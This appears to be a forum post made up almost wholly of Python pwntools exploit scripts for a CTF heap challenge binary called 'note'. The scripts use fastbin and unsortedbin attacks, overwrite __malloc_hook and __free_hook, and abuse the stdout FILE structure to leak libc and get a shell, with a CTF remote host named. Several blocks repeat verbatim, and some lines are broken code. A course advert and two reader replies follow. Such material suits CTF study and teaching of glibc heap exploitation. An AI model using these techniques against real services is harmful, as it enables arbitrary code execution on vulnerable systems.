context.arch = 'amd64'
context.timeout = 0.5
SigreturnFrame(kernel = 'amd64')
 
binary = "./note"
context.binary = binary
libc = ELF(context.binary.libc.path)
elf = ELF(binary)
largeBinIdx = 1096
unsortedBinIdx = 88
 
 
 
local = 1
if local:
    p = process(binary)
    #p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
else:
    p = remote("node3.buuoj.cn","49153")
    elf = ELF(binary)
    libc = ELF(libc_file)
 
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s) 
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it      = lambda                    :p.interactive()
 
def dockerDbg():
    myGdb = remote("127.0.0.1",30001)
    myGdb.close()
    pause()
 
def dbg():
    gdb.attach(p)
    pause()
 
def lg(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
 
def add_malloc(size,content):
    p.sendlineafter("Your choice :",'1')
    p.sendlineafter('Note size :',str(size))
    p.sendafter('Content :',content)
 
def free(idx):
    p.sendlineafter("Your choice :",'2')
    p.sendlineafter('Index :',str(idx))
 
def show(idx):
    p.sendlineafter("Your choice :",'3')
    p.sendlineafter('Index :',str(idx))
 
def edit(idx,size,content):
    p.sendlineafter("Your choice :",'4')
    p.sendlineafter('Index :',str(idx))
    p.sendlineafter('Size :',str(size))
    p.sendafter('Content :',content)   
 
def add_calloc(size,content):
    p.sendlineafter("Your choice :",'5')
    p.sendlineafter('Note size :',str(size))
    p.sendafter('Content :',content)
 
def exit():
    p.sendlineafter("Your choice :",'6')
 
def edit_m(idx,size,content):
    sleep(0.01)
    p.sendline('4')
    sleep(0.01)
    p.sendline(str(idx))
    sleep(0.01)
    p.sendline(str(size))
    sleep(0.01)
    p.send(content)
    sleep(0.01)
 
def free_m(idx):
    sleep(0.01)
    p.sendline('2')
    sleep(0.01)
    p.sendline(str(idx))
    sleep(0.01)
 
def add_malloc_m(size,content):
    sleep(0.01)
    p.sendline('1')
    sleep(0.01)
    p.sendline(str(size))
    sleep(0.01)
    p.send(content)
    sleep(0.01)
 
def tcacheDelete(idx):
    for i in range(7):
        free(i+idx)
 
def tcacheMalloc(size):
    for i in range(7):
        add_malloc(size,'\x00')
 
def leak_heap():
    global largeBinIdx
    global unsortedBinIdx
    ru("Gift_Heap:0x")
    LeakHeap = int(rc(12),16)
    log.info("LeakHeap:0x%x"%LeakHeap)
    path = libc.path
    #version = ["2.23","2.27","2.29","2.31","2.32","2.33"]
    if("2.23" in path):
        heap_base = LeakHeap - 0x10
    elif("2.24" in path):
        heap_base = LeakHeap - 0x10
    elif("2.25" in path):
        heap_base = LeakHeap - 0x10
    elif("2.26" in path):
        heap_base = LeakHeap - 0x250 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.27" in path):
        heap_base = LeakHeap - 0x250 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.28" in path):
        heap_base = LeakHeap - 0x250 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.29" in path):
        heap_base = LeakHeap - 0x250 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.30" in path):
        heap_base = LeakHeap - 0x290 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.31" in path):
        heap_base = LeakHeap - 0x290 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.32" in path):
        heap_base = LeakHeap - 0x290 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    elif("2.33" in path):
        heap_base = LeakHeap - 0x290 - 0x10
        largeBinIdx = 1104
        unsortedBinIdx = 96
    else:
        print("Version Wrong!")
        quit()
    return heap_base
 
def leak_elf():
    ru("Gift_elf:0x")
    Leak = int(rc(12),16)
    log.info("LeakElf:0x%x"%Leak)
    return Leak
 
def leak_libc():
    ru("Gift_Libc:0x")
    Leak = int(rc(12),16)
    log.info("LeakLibc:0x%x"%Leak)
    return Leak
 
def getMain_arena(libc_base):
    return libc_base+libc.sym['__malloc_hook']+0x10
 
def getOnegadget():
    originStr=commands.getstatusoutput('one_gadget ' + context.binary.libc.path)[1]
    print originStr
    one_gadget = []
    lstKey = []
    lengthKey = 0
    key = 'execve'
    countStr = originStr.count(key)
    if countStr < 1:
        print('No one_gadget')
    elif countStr == 1: #only one one_gadget
        indexKey = originStr.find(key)
        one_gadget.append(int(originStr[indexKey-8:indexKey-1],16))
        return one_gadget
    else: #multiple one_gadgey
        indexKey = originStr.find(key)
        lstKey.append(indexKey)
        while countStr > 1:
            str_new = originStr[indexKey+1:len(originStr)+1]
            indexKey_new = str_new.find(key)
            indexKey = indexKey+1 +indexKey_new
            lstKey.append(indexKey)
            countStr -= 1
        for i in range(len(lstKey)):
            one_gadget.append(int(originStr[(lstKey[i]-8):lstKey[i]-1],16))
        return one_gadget
 
 
def pwn():
    heap_base = leak_heap()
    libc_base = leak_libc() - libc.sym['printf']
    elf_base = leak_elf() - elf.sym['main']
    log.info("heap_base:0x%x"%heap_base)
    log.info("libc_base:0x%x"%libc_base)
    log.info("elf_base:0x%x"%elf_base)
    add_malloc(0x1000-0x290-0x8,'PIG007NB')
 
 
 
i = 0
while True:
    i = i + 1
    try:
        p = process("./note")
        lg("Times:",i)
        pwn()
    except EOFError:
        p.close()
        continue
    except Exception:
        p.close()
        continue
    else:
        p.interactive()
        break
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
#注释头
 
one_gadget = getOnegadget()
add_malloc(0x418,'PIG007NB')
add_malloc(0x68,'PIG007NB')
free(1)
show(1)
libc_base = u64Leakbase(88 + libc.sym['main_arena'])
lg("libc_base",libc_base)
free(2)
edit(2,0x8,p64(libc_base + libc.sym['__malloc_hook']-0x23))
add_malloc(0x68,'PIG007NB')
 
for i in range(len(one_gadget)):
    lg("one_gadget["+str(i)+"]",libc_base+one_gadget[i])
add_malloc(0x68,'\x00'*0x13+p64(libc_base+one_gadget[]))
#add_malloc(0x18,'PIG007NB')
p.sendline('1')
p.sendline('1')
p.sendline('1')
p.interactive()
#注释头
 
one_gadget = getOnegadget()
add_malloc(0x418,'PIG007NB')
add_malloc(0x68,'PIG007NB')
free(1)
show(1)
libc_base = u64Leakbase(88 + libc.sym['main_arena'])
lg("libc_base",libc_base)
free(2)
edit(2,0x8,p64(libc_base + libc.sym['__malloc_hook']-0x23))
add_malloc(0x68,'PIG007NB')
 
for i in range(len(one_gadget)):
    lg("one_gadget["+str(i)+"]",libc_base+one_gadget[i])
add_malloc(0x68,'\x00'*0x13+p64(libc_base+one_gadget[]))
#add_malloc(0x18,'PIG007NB')
p.sendline('1')
p.sendline('1')
p.sendline('1')
p.interactive()
 
 
 
 
#注释头
 
one_gadget = getOnegadget()
main_arena = libc.sym['main_arena']
fastbinsY = main_arena + 8
target_addr = main_arena + 80
idx = (target_addr - fastbinsY) / 8
size = idx * 0x10 + 0x20
 
 
add_malloc(size-0x8,'PIG007NB')
add_malloc(0x2f8,'PIG007NB')
add_malloc(size+0x10-0x8,'PIG007NB')
add_malloc(0xf8,'PIG007NB')
 
free(2)
show(2)
libc_base = u64Leakbase(unsortedBinIdx + libc.sym['main_arena'])
lg("libc_base",libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
main_arena = libc_base + libc.sym['main_arena']
target_addr = libc_base+libc.sym['global_max_fast']
 
edit(2,0x18,p64(0x0)+p64(target_addr-0x10))
add_malloc(0x2f8,'\x00')
 
free(1)
edit(1,0x8,p64(size+0x10+1))
add_malloc(size-0x8,'PIG007NB')
 
free(3)
edit(3,0x8,p64(libc_base + libc.sym['main_arena'] + 0x48))
add_malloc(size+0x10-0x8,'PIG007NB')
add_malloc(size+0x10-0x8,p64(malloc_hook-0x28)+p64(0x0)+p64(main_arena+88)*2)
add_malloc(0x98,p64(0x0)*2+p64(libc_base + one_gadget[1])+p64(libc_base+libc.sym['realloc']+8))
p.sendline('1')
p.sendline('1')
p.sendline('1')
it()
#注释头
 
one_gadget = getOnegadget()
main_arena = libc.sym['main_arena']
fastbinsY = main_arena + 8
target_addr = main_arena + 80
idx = (target_addr - fastbinsY) / 8
size = idx * 0x10 + 0x20
 
 
add_malloc(size-0x8,'PIG007NB')
add_malloc(0x2f8,'PIG007NB')
add_malloc(size+0x10-0x8,'PIG007NB')
add_malloc(0xf8,'PIG007NB')
 
free(2)
show(2)
libc_base = u64Leakbase(unsortedBinIdx + libc.sym['main_arena'])
lg("libc_base",libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
main_arena = libc_base + libc.sym['main_arena']
target_addr = libc_base+libc.sym['global_max_fast']
 
edit(2,0x18,p64(0x0)+p64(target_addr-0x10))
add_malloc(0x2f8,'\x00')
 
free(1)
edit(1,0x8,p64(size+0x10+1))
add_malloc(size-0x8,'PIG007NB')
 
free(3)
edit(3,0x8,p64(libc_base + libc.sym['main_arena'] + 0x48))
add_malloc(size+0x10-0x8,'PIG007NB')
add_malloc(size+0x10-0x8,p64(malloc_hook-0x28)+p64(0x0)+p64(main_arena+88)*2)
add_malloc(0x98,p64(0x0)*2+p64(libc_base + one_gadget[1])+p64(libc_base+libc.sym['realloc']+8))
p.sendline('1')
p.sendline('1')
p.sendline('1')
it()
 
 
#注释头
 
main_arena = libc.sym['main_arena']
fastbinsY = main_arena + 8
target_addr_binsY = libc.sym['__free_hook']-0x10
idx = (target_addr_binsY - fastbinsY) / 8
size = idx * 0x10 + 0x20
 
 
add_malloc(0x4f8,"\xaa"*0x4f8)        #idx1
add_malloc(0x4f8,'/bin/sh\x00')        #idx2
 
add_malloc(size-0x8,'PIG007NB')        #idx3
add_malloc(size+0x10-0x8,'PIG007NB')    #idx4
 
free(1)
show(1)
libc_base = u64Leakbase(unsortedBinIdx + libc.sym['main_arena'])
lg("libc_base",libc_base)
 
target_addr = libc_base+libc.sym['global_max_fast']
log.info("target_addr:0x%x"%target_addr)
#change unsortedBinchunkA
#chunkA.fd could be anything
 
edit(1,0x4f8,p64(0x0)+p64(target_addr-0x10))
#have to malloc all from unsortedbin
add_malloc(0x4f8,"\xaa"*0x4f8)        #idx4
free(3)
edit(3,0x8,p64(size+0x10+1))
add_malloc(size-0x8,'PIG007NB')
free(4)
edit(4,0x8,p64(libc_base + target_addr_binsY -0x8))
add_malloc(size+0x10-0x8,'PIG007NB')
add_malloc(size+0x10-0x8,p64(0x0)+p64(libc_base + libc.sym['system']))
free(2)
it()
#注释头
 
main_arena = libc.sym['main_arena']
fastbinsY = main_arena + 8
target_addr_binsY = libc.sym['__free_hook']-0x10
idx = (target_addr_binsY - fastbinsY) / 8
size = idx * 0x10 + 0x20
 
 
add_malloc(0x4f8,"\xaa"*0x4f8)        #idx1
add_malloc(0x4f8,'/bin/sh\x00')        #idx2
 
add_malloc(size-0x8,'PIG007NB')        #idx3
add_malloc(size+0x10-0x8,'PIG007NB')    #idx4
 
free(1)
show(1)
libc_base = u64Leakbase(unsortedBinIdx + libc.sym['main_arena'])
lg("libc_base",libc_base)
 
target_addr = libc_base+libc.sym['global_max_fast']
log.info("target_addr:0x%x"%target_addr)
#change unsortedBinchunkA
#chunkA.fd could be anything
 
edit(1,0x4f8,p64(0x0)+p64(target_addr-0x10))
#have to malloc all from unsortedbin
add_malloc(0x4f8,"\xaa"*0x4f8)        #idx4
free(3)
edit(3,0x8,p64(size+0x10+1))
add_malloc(size-0x8,'PIG007NB')
free(4)
edit(4,0x8,p64(libc_base + target_addr_binsY -0x8))
add_malloc(size+0x10-0x8,'PIG007NB')
add_malloc(size+0x10-0x8,p64(0x0)+p64(libc_base + libc.sym['system']))
free(2)
it()
 
 
#注释头
 
def pwn():
    #one_gadget = getOnegadget()
    heap_base = leak_heap()
    libc_base = leak_libc() - libc.sym['printf']
    elf_base = leak_elf() - elf.sym['main']
    log.info("heap_base:0x%x"%heap_base)
    log.info("libc_base:0x%x"%libc_base)
    log.info("elf_base:0x%x"%elf_base)
 
    add_malloc(0x1000-0x8,'PIG007NB')
 
    #prepare data-----------------------------------------------------------
    guess_libc = 0x9000
    guess_heap = 0x2000
    fastbinsY = guess_libc + libc.sym['main_arena'] + 8
    _IO_read_end = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x10
    _IO_write_base = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x20
    _IO_write_ptr = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x28
    _IO_write_end = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x30
 
    idx_read_end = (_IO_read_end - fastbinsY) / 8
    size_read_end = idx_read_end * 0x10 + 0x20
 
    idx_write_base = (_IO_write_base - fastbinsY) / 8
    size_write_base = idx_write_base * 0x10 + 0x20
 
    idx_write_ptr = (_IO_write_ptr - fastbinsY) / 8
    size_write_ptr = idx_write_ptr * 0x10 + 0x20
 
    idx_write_end = (_IO_write_end - fastbinsY) / 8
    size_write_end = idx_write_end * 0x10 + 0x20
 
    target_addr_gMF = guess_libc + libc.sym['global_max_fast']
 
    fastbinsY = libc.sym['main_arena'] + 8
    target_addr_binsY = libc.sym['__free_hook']-0x10
    idx_free_hook = (target_addr_binsY - fastbinsY) / 8
    size_free_hook = idx_free_hook * 0x10 + 0x20
 
    #read_end-------------------------------------------------------------
    add_malloc(0x38,"\x00"*0x38)                #idx    0x1
    add_malloc(0x38,"\x00"*0x38)                #idx    0x2  point free  read_end
    add_malloc(0x38,"\x03"*0x38)                #idx    0x3
    add_malloc(0x38,'\x04'*0x18+p64(0x21)+'\x04'*0x18)        #idx    0x4
 
    free(0x1)
    #free(2)
    free(0x3)
    edit(0x3,0x1,'\x20')
    edit(0x1,0x20,p64(0x0)*3+p64(0x41))
 
    add_malloc(0x38,'\x05'*0x18+p64(0x21)+'\x05'*0x18)                #idx    0x5
    add_malloc(0x38,'\x06'*0x18)                                    #idx    0x6 #point change size
    #---------------------------------------------------------------------
 
 
    #write_end can not be so far from wirte_base
    add_malloc(size_write_end-0x8,(p64(0x0)+p64(0x21))*((size_write_end-0x10)/0x10))                #idx    0x7
    add_malloc(size_write_ptr-0x8,(p64(0x0)+p64(0x21))*((size_write_ptr-0x10)/0x10))                #idx    0x8
 
 
    #write_base-----------------------------------------------------------
    add_malloc(0x38,"\x00"*0x38)                #idx    0x9
    add_malloc(0x38,"\xaa"*0x38)                #idx    0xa
    add_malloc(0x38,"\x0b"*0x38)                #idx    0xb
    add_malloc(0x38,'\x0c'*0x18+p64(0x21)+'\xaa'*0x18)        #idx    0xc
 
    free(0x9)
    #free(2)
    free(0xb)
    edit(0xb,0x2,p16((guess_heap+0x1000+0x40)&0xffff))
    edit(0x9,0x20,p64(0x0)*3+p64(0x41))
 
    add_malloc(0x38,'\x0d'*0x18+p64(0x21)+'\x05'*0x18)                #idx    0xd
    add_malloc(0x38,'\x0e'*0x18)                                    #idx    0xe #point free
    #---------------------------------------------------------------------
 
 
 
    #prepare for free_hook
    add_malloc(size_free_hook-0x8,'PIG007NB')            #idxf
    add_malloc(size_free_hook+0x10-0x8,'PIG007NB')        #idx10
 
 
    #unsortedbin attack
    add_malloc(0x4f8,'\x11'*0x4f8)            #idx 0x11
    add_malloc(0x38,'\x12'*0x38)            #idx 0x12
    free(0x11)
    edit(0x11,0x8+0x2,p64(0x0)+p16((target_addr_gMF&0xffff)-0x10))
    add_malloc(0x4f8,'/bin/sh\x00')            #idx 0x13
 
 
 
    #change write_base
    edit_m(0x6,0x20,p64(0x0)*3+p64(size_write_base+1))
    free_m(0xe)
 
 
    #change write_end and write_ptr
    free_m(0x7)
    free_m(0x8)
 
 
    #change read_end
    edit_m(0x6,0x20,p64(0x0)*3+p64(size_read_end+1))
    free_m(0x2)
 
    libc_base = u64Leakbase(libc.sym['_IO_2_1_stdout_']+131)
    lg("libc_base",libc_base)
 
    #write free_hook - 0x10
    free(0xf)
 
    #left size
    edit(0xf,0x8,p64(size_free_hook+0x10+1))
    add_malloc(size_free_hook-0x8,'PIG007NB')
 
    #get free_hook - 0x8
    free(0x10)
    edit(0x10,0x8,p64(libc_base + target_addr_binsY -0x8))
    add_malloc(size_free_hook+0x10-0x8,'PIG007NB')
    add_malloc(size_free_hook+0x10-0x8,p64(0x0)+p64(libc_base + libc.sym['system']))
 
    #get shell
    free(0x13)
    it()
 
 
 
 
 
i = 0
while True:
    i = i + 1
    try:
        p = process("./note")
        lg("Times:",i)
        pwn()
    except EOFError:
        p.close()
        continue
    else:
        p.interactive()
        break
#注释头
 
def pwn():
    #one_gadget = getOnegadget()
    heap_base = leak_heap()
    libc_base = leak_libc() - libc.sym['printf']
    elf_base = leak_elf() - elf.sym['main']
    log.info("heap_base:0x%x"%heap_base)
    log.info("libc_base:0x%x"%libc_base)
    log.info("elf_base:0x%x"%elf_base)
 
    add_malloc(0x1000-0x8,'PIG007NB')
 
    #prepare data-----------------------------------------------------------
    guess_libc = 0x9000
    guess_heap = 0x2000
    fastbinsY = guess_libc + libc.sym['main_arena'] + 8
    _IO_read_end = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x10
    _IO_write_base = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x20
    _IO_write_ptr = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x28
    _IO_write_end = guess_libc + libc.sym['_IO_2_1_stdout_'] + 0x30
 
    idx_read_end = (_IO_read_end - fastbinsY) / 8
    size_read_end = idx_read_end * 0x10 + 0x20
 
    idx_write_base = (_IO_write_base - fastbinsY) / 8
    size_write_base = idx_write_base * 0x10 + 0x20
 
    idx_write_ptr = (_IO_write_ptr - fastbinsY) / 8
    size_write_ptr = idx_write_ptr * 0x10 + 0x20
 
    idx_write_end = (_IO_write_end - fastbinsY) / 8
    size_write_end = idx_write_end * 0x10 + 0x20
 
    target_addr_gMF = guess_libc + libc.sym['global_max_fast']
 
    fastbinsY = libc.sym['main_arena'] + 8
    target_addr_binsY = libc.sym['__free_hook']-0x10
    idx_free_hook = (target_addr_binsY - fastbinsY) / 8
    size_free_hook = idx_free_hook * 0x10 + 0x20
 
    #read_end-------------------------------------------------------------
    add_malloc(0x38,"\x00"*0x38)                #idx    0x1
    add_malloc(0x38,"\x00"*0x38)                #idx    0x2  point free  read_end
    add_malloc(0x38,"\x03"*0x38)                #idx    0x3
    add_malloc(0x38,'\x04'*0x18+p64(0x21)+'\x04'*0x18)        #idx    0x4
 
    free(0x1)
    #free(2)
    free(0x3)
    edit(0x3,0x1,'\x20')
    edit(0x1,0x20,p64(0x0)*3+p64(0x41))
 
    add_malloc(0x38,'\x05'*0x18+p64(0x21)+'\x05'*0x18)                #idx    0x5
    add_malloc(0x38,'\x06'*0x18)                                    #idx    0x6 #point change size
    #---------------------------------------------------------------------
 
 
    #write_end can not be so far from wirte_base
    add_malloc(size_write_end-0x8,(p64(0x0)+p64(0x21))*((size_write_end-0x10)/0x10))                #idx    0x7
    add_malloc(size_write_ptr-0x8,(p64(0x0)+p64(0x21))*((size_write_ptr-0x10)/0x10))                #idx    0x8
 
 
    #write_base-----------------------------------------------------------
    add_malloc(0x38,"\x00"*0x38)                #idx    0x9
    add_malloc(0x38,"\xaa"*0x38)                #idx    0xa
    add_malloc(0x38,"\x0b"*0x38)                #idx    0xb
    add_malloc(0x38,'\x0c'*0x18+p64(0x21)+'\xaa'*0x18)        #idx    0xc
 
    free(0x9)
    #free(2)
    free(0xb)
    edit(0xb,0x2,p16((guess_heap+0x1000+0x40)&0xffff))
    edit(0x9,0x20,p64(0x0)*3+p64(0x41))
 
    add_malloc(0x38,'\x0d'*0x18+p64(0x21)+'\x05'*0x18)                #idx    0xd
    add_malloc(0x38,'\x0e'*0x18)                                    #idx    0xe #point free
    #---------------------------------------------------------------------
 
 
 
    #prepare for free_hook
    add_malloc(size_free_hook-0x8,'PIG007NB')            #idxf
    add_malloc(size_free_hook+0x10-0x8,'PIG007NB')        #idx10
 
 
    #unsortedbin attack
    add_malloc(0x4f8,'\x11'*0x4f8)            #idx 0x11
    add_malloc(0x38,'\x12'*0x38)            #idx 0x12
    free(0x11)
    edit(0x11,0x8+0x2,p64(0x0)+p16((target_addr_gMF&0xffff)-0x10))
    add_malloc(0x4f8,'/bin/sh\x00')            #idx 0x13
 
 
 
    #change write_base
    edit_m(0x6,0x20,p64(0x0)*3+p64(size_write_base+1))
    free_m(0xe)
 
 
    #change write_end and write_ptr
    free_m(0x7)
    free_m(0x8)
 
 
    #change read_end
    edit_m(0x6,0x20,p64(0x0)*3+p64(size_read_end+1))
    free_m(0x2)
 
    libc_base = u64Leakbase(libc.sym['_IO_2_1_stdout_']+131)
    lg("libc_base",libc_base)
 
    #write free_hook - 0x10
    free(0xf)
 
    #left size
    edit(0xf,0x8,p64(size_free_hook+0x10+1))
    add_malloc(size_free_hook-0x8,'PIG007NB')
 
    #get free_hook - 0x8
    free(0x10)
    edit(0x10,0x8,p64(libc_base + target_addr_binsY -0x8))
    add_malloc(size_free_hook+0x10-0x8,'PIG007NB')
    add_malloc(size_free_hook+0x10-0x8,p64(0x0)+p64(libc_base + libc.sym['system']))
 
    #get shell
    free(0x13)
    it()
 
 
 
 
 
i = 0
while True:
    i = i + 1
    try:
        p = process("./note")
        lg("Times:",i)
        pwn()
    except EOFError:
        p.close()
        continue

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 8
支持
分享
最新回复 (2)
雪    币: 6092
活跃值: (729)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
2
期待更新off by null.
2021-9-14 16:58
0
雪    币: 208
活跃值: (770)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
大佬,请问下32位的uaf怎么利用呢,伪造不了malloc_hook -0x23
2022-7-7 10:34
0
游客
登录 | 注册 方可回帖
返回
//